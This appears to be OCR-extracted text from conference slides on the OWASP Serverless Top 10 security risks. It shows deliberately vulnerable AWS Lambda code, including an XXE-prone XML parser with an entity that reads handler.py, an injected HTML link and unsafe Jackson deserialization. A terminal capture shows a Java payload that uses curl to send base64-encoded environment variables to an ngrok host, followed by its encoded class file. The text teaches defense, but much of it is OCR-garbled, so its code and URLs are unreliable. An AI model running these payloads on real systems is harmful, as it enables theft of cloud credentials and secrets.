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U.S. serverless architecture market size, by service, 2015 - 2025 (USD Million)

2015 2016 2017 2018 2018 2020 2021 2022 2023 2024 2025
® Automation and Integration = APl Management Monitoring B Security
® Support and Maintenance B Training and Consulting = Others
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from Lxml import etree
import boto3,0s,urllib, json

def lambda handler(event, context):
s3 = boto3.resource('s3")
key = urllib.unquote plus(event['Records'][0]['s3"']['object']['key']).decode( 'utf8')
s3.meta.client.download file(os.environ[ 'BUCKET'], key, '/tmp/f.xml')
parser = etree.XMLParser(resolve entities=True, load dtd=True, no network=False)
try:
root = etree.parse('/tmp/f.xml', parser).getroot()
process xml(root)
except etree.XMLSyntaxError:
return None

process xXml():e

<!DOCTYPE foo [<!ELEMENT foo ANY >
<IENTITY bar SYSTEM "file:///var/task/handler.py™ >]>
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import boto3
import json

def lambda_handler(event, context):

msg_id = event['Records'][0@]['Sns’'][ 'Messageld’]
msg_data = event['Records'][0]['Sns']['Message’]

client = boto3.client('iot-data’', region_name='us-east-1")

link = "<a href=\"https://my.api/vl/get_email?id="+msg_id+"\"/>Click</a>"
response = client.publish(

topic="protego-a7-topic’,

qos=1,

payload=json.dumps({"msg": msg_data, "id": 1ink})
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import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class JsonMapper {
public static Movie toView(String jsonResponse) {
ObjectMapper objectMapper = new ObjectMapper();
try {

return objectMapper.readValue(jsonResponse, Movie.class);
} catch (IOException e) {
throw new RuntimeException(e);

keizer@ﬁroteéulabs:;t“ﬁs cat payload.java; javac payload.java; base64 --wrap=0 payload.class&
public class payload {

public static void main(String[] args) throws Exception {
Process process = Runtime.getRuntime().exec("env="env|base64 --wrap=0"; curl
http://protegolabs.ngrok.io?data=5{env}");

1
}

[1] 32011

keizer@protegolabs: /tmp$ yv66vgAAADQAHgOABQARCgASABMIABQKABIAFQCAFQCAFWEAB jxpbmlOPQEAAYgPVQEA

BENVZGUBAAIMaW5SLTnVLtYmVyVGFibGUBAARtYWLUAQAWKF tMamF2Y59sYW5nL1INOcmluZzspVgEACKkVAY2VwdGlvbnMHA

BgBAApTb3VyY2VGaWxLAQAMcGF5bGohZC5qYXZhDAAHAAGHABKMABOAGWEAR2Vud j1gZW52fGIhc2UZNCALLXdYYXAIMG

ATIGN1cmwgaHROcDovL3Byb3R1Z29sYWIzLm5ncm9rLmlvP2RhdGE9IHt1bnZ9DAACABOBAADWYX1sb2FkAQAQamF2YS9

sYW5nLO91amVjdAEAEZphdmEVbGFuZy9FeGN1cHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACMd LdF J1bnRpbWUBABUO
‘l... Kuxg¥YXZhL2xhbmcvUnVudGLltZTsBAARLeGVAQANRKEXqQYXZhL2xhbmcvU3RyaWsn0y1lMamF2YS9sYWSnL1Byb2NLCc3M7A

CEABQAGAAAAAAACAAEABWATAAEACQAAABBAAQABAAAABSq3AAGXAAAAAQAKAAAABGABAAAAAQAIAASADAACAAKAAAAMAA

IAAQAAAAQAAAISATYABEYXAAAAAQAKAAAACQACAAAABAAIAAUADQAAAAQAAQADAAEADWAAAATAEA==

[1]+ Done e base64 --wrap=0 payload.class
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protego-al0-audit S firewall.py

tJEJd "‘lﬂLJ[S :_r- -}-_.,-J.'l datetime

firewall.py def verify(event, context):

return isValidInput( event["body™"] )

def isValidInput(input):
file = open('bad_inputs')
for line in file:
if input.find( line.rstrip() ) > -1:
ts = datetime.datetime.now().strftime( " %Y-%m-%d %¥H:%M:%S")

print "{time} [Malicious input detected]: {mal}".format(time=ts, mal=input)
return {"status”: "error”}

return {"status": "success"}

CloudWatch > Log Groups > /aws/lambda/protego-alO-audit > 2018/06/22/[SLATEST]6bcc94ee53a34b8cBbd4de14034b7021

Time (UTC +00:00) Message

2018-06-22
No older events founc
12:06:58 START Requestld: c150a05c-7614-11e8-b714-81ce8101b03f Version: SLATEST
12:07:19 START Requestld: cd9ca%9e7-7614-11e8-ae84-9b0aal9c0702 Version: SLATEST
12:07:51 START Requestid: e1033fdf-7614-11e8-baba-f7e31bf28e54 Version: $LATEST
No newer events foun
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1ttps://§it1ub.com/OWASP/ServerIess-Top-lO—Project
https://github.com/OWASP/Serverless-Goat
https://github.com/puresec/sas-top-10

ttps://www.owasp.org/index.php/OWASP Serverless To
p 10 Project#tab=Translation Efforts




